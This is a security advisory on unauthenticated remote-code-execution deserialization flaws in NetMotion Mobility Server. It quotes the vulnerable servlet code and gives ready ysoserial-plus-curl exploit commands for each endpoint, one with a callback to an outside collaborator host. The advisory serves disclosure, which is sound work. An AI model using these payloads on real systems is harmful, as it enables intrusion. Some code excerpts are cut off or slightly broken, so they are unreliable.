



## SSD ADVISORY – NETMOTION MOBILITY SERVER MULTIPLE DESERIALIZATION OF UNTRUSTED DATA LEAD TO RCE

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Vulnerability publication

### TL;DR

Find out how multiple vulnerabilities in NetMotion Mobility Server allow an unauthenticated attacker to run arbitrary code on the server with SYSTEM privileges.

### Vulnerability Summary

NetMotion Mobility is “standards-compliant, client/server-based software that securely extends the enterprise network to the mobile environment. It is mobile VPN software that maximizes mobile field worker productivity by maintaining and securing their data connections as they move in and out of wireless coverage areas and roam between networks. Designed specifically for wireless environments, Mobility provides IT managers with the security and centralized control needed to effectively manage a mobile deployment. Mobility complements existing IT systems, is highly scalable, and easy to deploy and maintain”.

Several vulnerabilities in the NetMotion Mobility server allow remote attackers to cause the server to execute code due to the way the server deserialize incoming content.

### CVE

CVE-2021-26912

CVE-2021-26913

CVE-2021-26914

CVE-2021-26915

### Credit

An independent security researcher, Steven Seeley of Source Incite, has reported this vulnerability to the SSD Secure Disclosure program.

### Affected Versions

NetMotion Mobility Server version 12.01.09045

### Vendor Response

“On November 19, 2020, NetMotion alerted customers to security vulnerabilities in the Mobility web server and released updates for Mobility v11.x and v12.x to address them.

The vulnerabilities were fixed in versions Mobility v11.73 and v12.02, which were released on November 19, 2020. Customers should upgrade immediately to these or later versions.

NetMotion has always cautioned customers to put their servers behind a firewall. Customers who have not followed NetMotion's recommendations (v11.73 and v12.02) for the secure configuration and deployment of their Mobility servers, and who have exposed access to the Mobility web server to untrusted networks or IP addresses, are particularly vulnerable to this attack.”

For more details see: <https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-web-server-november-19-2020>

### Vulnerability Analysis



the following code

```
1. public class SupportRpcServlet extends HttpServlet {
2.     public static final int SUPPORT_ZIP = 0;
3.     protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
4.         try {
5.             ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)paramHttpServletRequest.getInputStream());
6.             RpcData rpcData = (RpcData)objectInputStream.readObject(); // 1
7.             if (rpcData.validate(true)) {
8.                 command(paramHttpServletResponse, rpcData);
9.             } else {
10.                paramHttpServletResponse.setStatus(401);
11.            }
12.        } catch (Exception exception) {
13.            paramHttpServletResponse.setStatus(500);
14.            Events.reportWarning(186, 37175, new String[] { paramHttpServletRequest.getRemoteAddr(), exception.toString() });
15.        }
16.    }
}
```

At [1] a `readObject` is used against attacker controlled inputstream without any protections.

#### PoC

```
1. java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
2. curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/SupportRpcServlet
```

#### *RpcServlet Deserialization of Untrusted Data Remote Code Execution*

Inside of the `com.nmmco.server.events.EventRpcServlet` class we can see:

```
1. public class EventRpcServlet extends RpcServlet implements EventRpcRequest { // 1
2.     public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long
paramLong, Object paramObject) throws IOException {
3.         try {
4.             if (!EventRpcResponse.writeResponse(paramObjectOutputStream, paramInt, paramLong, paramObject))
5.                 paramHttpServletResponse.sendError(400);
6.             } catch (JSONException jniException) {
7.                 log("EventRpcServlet", (Throwable)jniException);
8.                 paramHttpServletResponse.sendError(500);
9.             }
10.        }
}
```

We can see that this servlet extends from `RpcServlet` at [1], so let's check that code:

```
1. public class RpcServlet extends HttpServlet implements RpcResponseCommand {
2.     private RpcResponseDispatcher mDispatcher;
3.     private static final int MAX_REQUEST_SIZE = 5242880;
4.     public void init(ServletConfig paramServletConfig) throws ServletException {
5.         super.init(paramServletConfig);
6.         this.mDispatcher = new RpcResponseDispatcher(this, true, 5242880);
7.     }
8.     public void destroy() {}
9.     public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long
paramLong, Object paramObject) throws IOException {
10.        paramHttpServletResponse.setStatus(404);
11.    }
12.     protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
IOException {
13.        this.mDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpRequest(paramHttpServletRequest), (SimpleHttpResponse)new
SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
14.            public RpcData readObject(ObjectInputStream paramObjectInputStream) throws Exception { // 2
15.                return (RpcData)paramObjectInputStream.readObject();
16.            }
17.        });
18.    }
}
```

At [2] we can see it has it's own `readObject` dispatcher which also tries to read in an `RpcData` type that is not validated or checked against attacker controlled data.

#### PoC

```
1. java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
2. curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/EventRpcServlet
```

#### *MvcUtil valueStringToObject Deserialization of Untrusted Data Remote Code Execution*

Inside of the `com.nmmco.server.mvc.MvcServlet` we can see the following code:

```
1. public class MvcServlet extends HttpServlet {
2.     static final long serialVersionUID = 1L;
3.     private String mPackage;
4.     public void init(ServletConfig paramServletConfig) throws ServletException {
5.         super.init(paramServletConfig);
6.         this.mPackage = getInitParameter("controllersPackage");
7.         if (null == this.mPackage)
8.             throw new ServletException("Could not find init parameter 'controllerPackage'");
9.     }
10.     protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
IOException {
11.        doRequest(paramHttpServletRequest, paramHttpServletResponse);
12.    }
13.     protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
IOException {
14.        doRequest(paramHttpServletRequest, paramHttpServletResponse);
15.    }
16.     protected void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
IOException {
17.        if (this.mPackage != null) {
18.            String str1 = "";

```



```
25.         str1 = str2.substring(i, j);
26.     }
27.     String str3 = this.mPackage + "." + str1 + "Controller";
28.     try {
29.         ServletContext servletContext = getServletConfig().getServletContext();
30.         MvcController mvcController = (MvcController)Class.forName(str3).newInstance();
31.         mvcController.invoke(servletContext, paramHttpRequest, paramHttpResponse); // 1
32.     } catch (ClassNotFoundException classNotFoundException) {
33.         String str = "/";
34.         if (!str1.isEmpty())
35.             str = str + MvcUtil.capsToUnderscores(str1) + ".jsp";
36.         forwardTo(str, paramHttpRequest, paramHttpResponse);
37.     } catch (IllegalAccessException illegalAccessException) {
38.         throw new ServletException("Could not access controller '" + str3 + "'");
39.     } catch (InstantiationException instantiationException) {
40.         throw new ServletException("Could not instantiate controller '" + str3 + "'");
41.     }
42.     } else {
43.         throw new ServletException("Could not determine controller package.");
44.     }
45. }
```

It's possible to reach [1] unauthenticated meaning which is the `invoke` method of the `com.nmmco.server.mvc.MvcController` class using attacker controlled data as the second argument.

```
1.     public final void invoke(ServletContext paramServletContext, HttpServletRequest paramHttpRequest, HttpServletResponse
paramHttpResponse) throws ServletException {
2.         this.context = paramServletContext;
3.         this.request = paramHttpRequest;
4.         this.response = paramHttpResponse;
5.         this.session = paramHttpRequest.getSession();
6.         if (null != this.session) {
7.             Object object1 = this.session.getAttribute(getSessionModelName());
8.             if (null != object1) {
9.                 if (object1 instanceof MvcModel) {
10.                     this.model = (MvcModel)object1;
11.                     this.resultInvocation = true;
12.                 }
13.                 this.session.removeAttribute(getSessionModelName());
14.             }
15.             Object object2 = this.session.getAttribute("info");
16.             if (null != object2) {
17.                 paramHttpRequest.setAttribute("info", object2);
18.                 this.session.removeAttribute("info");
19.             }
20.             Object object3 = this.session.getAttribute("error");
21.             if (null != object3) {
22.                 paramHttpRequest.setAttribute("error", object3);
23.                 this.session.removeAttribute("error");
24.             }
25.             Object object4 = this.session.getAttribute("warning");
26.             if (null != object4) {
27.                 paramHttpRequest.setAttribute("warning", object4);
28.                 this.session.removeAttribute("warning");
29.             }
30.         }
31.         if (null == this.model)
32.             this.model = new MvcModel();
33.         this.model.putRequestParameters(paramHttpRequest); // 2
}
```

An attacker can reach [2] which is a call to `MvcModel.putRequestParameters` using their controlled data.

```
1.     public void putRequestParameters(HttpServletRequest paramHttpRequest) {
2.         String str = paramHttpRequest.getParameter("Mvc_x_Form_x_Name");
3.         if (null != str) {
4.             Object object = MvcUtil.valueStringToObject(str); // 3
5.             if (object instanceof Map)
6.                 this.map = uncheckedCast(object);
7.         }
}
```

At [3] the `MvcUtil.valueStringToObject` method is called if the attacker supplied the query parameter `Mvc_x_Form_x_Name`.

```
1.     public static Object valueStringToObject(String paramString) {
2.         Object object = null;
3.         if (null != paramString)
4.             try {
5.                 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(paramString.getBytes("UTF-8"));
6.                 Base64InputStream base64InputStream = new Base64InputStream(byteArrayInputStream);
7.                 ObjectInputStream objectInputStream = null;
8.                 try {
9.                     GZIPInputStream gzipInputStream = (GZIPInputStream)base64InputStream;
10.                     objectInputStream = new ObjectInputStream(gzipInputStream);
11.                     object = objectInputStream.readObject(); // 4
12.                 } catch (ClassNotFoundException classNotFoundException) {
13.                 } catch (IOException iOException) {
14.                 } finally {
15.                     if (null != objectInputStream)
16.                         objectInputStream.close();
17.                 }
18.                 } catch (IOException iOException) {}
19.         return object;
20.     }
```

The value of `Mvc_x_Form_x_Name` is decoded from base64 and gzip inflated and finally has `readObject` called on it. An attacker can leverage this to achieve RCE.

#### PoC

```
1. java -jar target/yoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
2. gzip payload.bin
3. curl -k "https://[target]/mobility/Menu/isLoggedIn" --data-urlencode "Mvc_x_Form_x_Name='cat payload.bin.gz | base64 -w0'"
```



ing code:

```
3.     private RpcResponseDispatcher webRepDbDispatcher = new RpcResponseDispatcher(new WebRepDbRpcResponseCommand());
4.     private DownloadEngineContainer container;
5.     public void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
6.         this.container =
7.         (DownloadEngineContainer)paramHttpServletRequest.getServletContext().getAttribute("com.nmcco.server.webrepdb.DownloadEngineContainer");
8.         this.webRepDbDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpRequest(paramHttpServletRequest), (SimpleHttpResponse)new
9.         SimpleHttpResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
10.             public RpcData readObject(ObjectInputStream paramObjectInputStream) throws Exception { // 1
11.                 return (RpcData)paramObjectInputStream.readObject();
12.             }
13.         });
14.     }
15.     public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
16.         doGet(paramHttpServletRequest, paramHttpServletResponse);
17.     }
18. }
```

At [7] the code sets up a dispatcher for a GET or POST request using a `readObject` call on attacker controlled data.

## PoC

For this particular service, the CommonsCollections6 gadget wasn't firing because it wasn't loaded into the classpath. So I am just demonstrating here that deserialization is indeed working using a gadget in the JRE.

```
1. java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testing.[collab-id].burpcollaborator.net > payload.bin
2. curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/WebRepDb/status
```

You should see a DNS lookup for `testing` on your collab server.

## Demo

The terminal window shows the following output:

```
mobility$ icu
curl --insecure https://192.168.15.149/ | grep Mobility
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total   Spent    Left  Speed
100 3295    0 3295    0 80365    0 --:--:-- --:--:-- --:--:-- 82375

It appears cookies are not enabled or are being blocked for this site. Cookies must be enabled to use the mobility console.</div>
mobility$
```

The Task Manager window shows the following processes:

Name	PID	Status	User name	CPU	Memory (p...)	Description
nmdbot.exe	2080	Running	SYSTEM	00	880 K	NetMotion service that ...
nmdeploy.exe	1660	Running	SYSTEM	00	1,780 K	NetMotion service that ...
nmreporting.exe	1592	Running	SYSTEM	00	125,668 K	NetMotion Publisher Se...
nmreputation.exe	1624	Running	SYSTEM	00	1,936 K	NetMotion service that ...
nmrservice.exe	1652	Running	SYSTEM	00	87,116 K	NetMotion Control Serv...
nmrswebacc.exe	1688	Running	SYSTEM	00	1,664 K	Mobility Web Accelerator
nmrswebserver.exe	1632	Running	SYSTEM	00	1,800 K	NetMotion service that ...
nmruntimebroker.exe	2928	Running	Administr...	00	2,384 K	Runtime Broker
SearchUI.exe	3464	Suspended	Administr...	00	7,804 K	Search and Cortana app...
ServerManager.exe	3088	Running	Administr...	00	58,592 K	Server Manager
services.exe	556	Running	SYSTEM	00	2,644 K	Services and Controller ...
ShellExperienceHost.exe	692	Suspended	Administr...	00	17,744 K	Windows Shell Experien...
shost.exe	2956	Running	Administr...	00	3,056 K	Shell Infrastructure Host
smss.exe	264	Running	SYSTEM	00	252 K	Windows Session Mana...
spoolsv.exe	1476	Running	SYSTEM	00	4,264 K	Spooler SubSystem App
svchost.exe	2980	Running	Administr...	00	2,388 K	Host Process for Windo...
svchost.exe	1956	Running	SYSTEM	00	3,372 K	Host Process for Windo...
svchost.exe	1888	Running	SYSTEM	00	1,524 K	Host Process for Windo...
svchost.exe	1860	Running	LOCAL SE...	00	1,244 K	Host Process for Windo...
svchost.exe	1824	Running	SYSTEM	00	5,236 K	Host Process for Windo...
svchost.exe	1388	Running	NETWORK...	00	1,064 K	Host Process for Windo...
svchost.exe	1160	Running	LOCAL SE...	00	1,240 K	Host Process for Windo...
svchost.exe	1048	Running	SYSTEM	00	18,404 K	Host Process for Windo...

## Get in touch

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